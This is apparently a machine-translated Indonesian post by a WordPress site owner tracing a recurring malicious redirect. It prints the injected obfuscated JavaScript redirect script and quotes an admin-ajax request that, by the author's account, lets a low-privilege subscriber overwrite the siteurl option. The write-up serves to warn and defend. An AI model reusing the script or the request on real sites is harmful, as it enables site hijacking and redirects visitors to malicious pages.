Minggu lalu saya menemukan fakta yang sangat tidak menyenangkan. Setelah mengunjungi situs saya, saya menemukan bahwa itu mengarahkan saya ke sumber yang tidak saya ketahui, yang sangat disumpah oleh antivirus Dr. Web
Didukung oleh WordPress versi 5.1
Semua pembaruan keluar untuk mesin, plugin dan tema dipasang tepat waktu. Plugin hanya dari repositori resmi, tema juga.
Cadangan situs langsung diunduh, dipindai oleh perangkat lunak antivirus (Dr. Web, Kaspersky, AI-BOLIT) - tetapi tidak ada hasil, semuanya bersih.
Memeriksa file tema dan beberapa plugin secara manual, tetapi sekali lagi tidak ada hasil.
Saat memeriksa dump database di tabel wp_options di parameter siteurl, URL orang lain disembunyikan. Sebenarnya, ada pengalihan padanya.
Ini terjadi sesuai dengan prinsip: ketika memuat halaman, parameter "siteurl" diganti semuanya
<script type='text/javascript' src=' URL '></script>
Dalam hal ini, skrip berikut dimuat:
var x = getCookie('pp000001'); if (x) { var x2 = getCookie('pp000002'); if (x2) { var sdfgdfg = "URL";document.location.replace(sdfgdfg);window.location.href = sdfgdfg;document.location.href = sdfgdfg; } else { setCookie('pp000002','1',1); var sdfgdfg = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 99, 108, 105, 99, 107, 46, 110, 101, 119, 112, 117, 115, 104, 46, 115, 117, 112, 112, 111, 114, 116, 47, 101, 115, 117, 122, 110, 120, 105, 102, 113, 107);document.location.replace(sdfgdfg);window.location.href = sdfgdfg;document.location.href = sdfgdfg; } } else { setCookie('pp000001','1',1); var sdfgdfg = "URL";document.location.replace(sdfgdfg);window.location.href = sdfgdfg;document.location.href = sdfgdfg; } function setCookie(name,value,days) { var expires = ""; if (days) { var date = new Date(); date.setTime(date.getTime() + (days*8*60*60*1000)); expires = "; expires=" + date.toUTCString(); } document.cookie = name + "=" + (value || "") + expires + "; path=/"; } function getCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for(var i=0;i < ca.length;i++) { var c = ca[i]; while (c.charAt(0)==' ') c = c.substring(1,c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length); } return null; } function eraseCookie(name) { document.cookie = name+'=; Max-Age=-99999999;'; }
Bagaimana URL orang lain masuk ke database tetap menjadi misteri. Mengubah URL ke yang benar, semuanya bekerja lagi, tetapi hari berikutnya, ketika memeriksa, saya kembali melihat Dr. Web bersumpah pada halaman yang dialihkan. Parameter ini sekali lagi diubah dalam database.
Setelah itu, log akses baru ke situs dan log kesalahan diunduh. Tidak ada kesalahan, tetapi permintaan yang sangat menarik untuk situs ditemukan di log akses:
/wp-admin/admin-ajax.php?action=fs_set_db_option&option_name=siteurl&option_value= URL
Setelah memperbaiki pengaturan lagi dan memeriksa apakah semuanya berfungsi, saya mencoba mengulangi permintaan ini di situs, tetapi tidak ada yang berhasil. Pengaturan dalam database tidak berubah.
Perlu dicatat bahwa situs ini terbuka untuk pendaftaran dan pengguna mendapatkan peran "Pelanggan", akses ke bagian administratif ditutup sepenuhnya.
Upaya telah dilakukan untuk mendaftarkan pengguna baru, masuk, dan setelah itu permintaan ini ke situs bekerja, pengaturan dalam database berubah.
Akibatnya, ternyata jika pendaftaran pengguna terbuka di situs, bahkan dengan peran Pelanggan dan akses ke panel admin ditutup, permintaan ini masih berfungsi.
Itu diperiksa di situs lain, setelah sebelumnya mematikan semua plugin dan mengatur tema default - hasilnya sama.
Cara bertarung, kecuali cara mematikan registrasi dan menghapus pengguna yang mencurigakan - Saya belum menemukan solusi.
PS: google permintaan, situs yang terinfeksi ditemukan, hati-hati.